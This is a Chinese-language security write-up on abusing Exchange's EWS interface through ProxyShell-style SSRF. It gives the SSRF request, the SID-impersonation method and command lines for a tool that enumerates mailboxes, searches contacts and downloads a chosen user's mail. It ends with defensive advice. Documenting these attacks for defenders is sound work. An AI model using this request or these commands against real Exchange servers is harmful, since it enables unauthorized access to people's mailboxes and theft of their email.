Exchange EWS接口的利用
字数 1106 2025-08-09 16:00:17
Exchange EWS接口利用技术详解
一、背景概述
Exchange Server的EWS(Exchange Web Services)接口是一个强大的API,允许程序与Exchange服务器进行交互。近期发现的Exchange preauth漏洞(如Proxylogon、Proxyshell)本质上是SSRF漏洞,可通过这些漏洞访问需要授权的EWS接口。
EWS接口URI通常为:exchange.com/ews/exchange.asmx
二、SSRF漏洞利用EWS接口
1. 基本利用原理
通过SSRF漏洞(如Proxyshell)访问EWS接口的示例请求:
GET /autodiscover/autodiscover.json?a=a@edu.edu/ews/exchange.asmx?X-Rps-CAT=&Email=autodiscover/autodiscover.json?a=a@edu.edu HTTP/2
Host: mail.Exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 0
2. 关键问题解决
直接发送XML数据包调用接口会失败,因为SSRF后是system身份,Exchange不知道具体用户身份。解决方案:
- 通过autodiscover+emsmdb获取SID
- 在SOAP头中指定
SerializedSecurityContext
三、自动化利用流程
1. 前置步骤
- 获取LegacyDN
- 获取SID
- 将SID添加到SOAP header头
2. 功能模块
(1) 用户爆破
输入文件示例(/tmp/emails.txt):
admin@exchange.com
test@exchange.com
jumbo@exchange.com
ceshi@exchange.com
support@exchange.com
执行命令:
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt
输出示例:
admin@exchange.com valid
support@exchange.com valid
(2) 搜索联系人
执行命令:
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Search --email validuser@exchange.com --keyword test
输出示例:
Board.Test@exchange.com
LTSTest@exchange.com
(3) 下载邮件
执行命令:
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email userwantdown@exchange.com
输出示例:
[+] Item [output/item-0.eml] saved successfully
四、NTLM HASH利用
当只有NTLM HASH且无法解密密码时,仍可利用EWS接口:
- 使用相同的接口调用方式
- 增加NTLM认证步骤
- 减少header头(相比SSRF方式)
五、技术要点总结
- 身份上下文:SSRF后是system身份,必须通过SerializedSecurityContext指定具体用户
- 前置信息收集:需要先获取LegacyDN和SID
- SOAP协议:EWS接口基于SOAP协议,需要构造特定格式的XML请求
- 功能多样性:可通过不同SOAP操作实现多种功能(用户枚举、搜索、邮件下载等)
- 认证方式:支持SSRF绕过认证和NTLM HASH认证两种方式
六、防御建议
- 及时修补Proxylogon、Proxyshell等SSRF漏洞
- 监控对EWS接口的异常访问
- 限制autodiscover服务的访问权限
- 实施多因素认证,降低NTLM HASH泄露风险
- 定期审计Exchange服务器日志,特别是EWS接口调用记录
七、参考资源
- Microsoft EWS Reference
- 文中提到的工具将在Github仓库公开(需关注后续更新)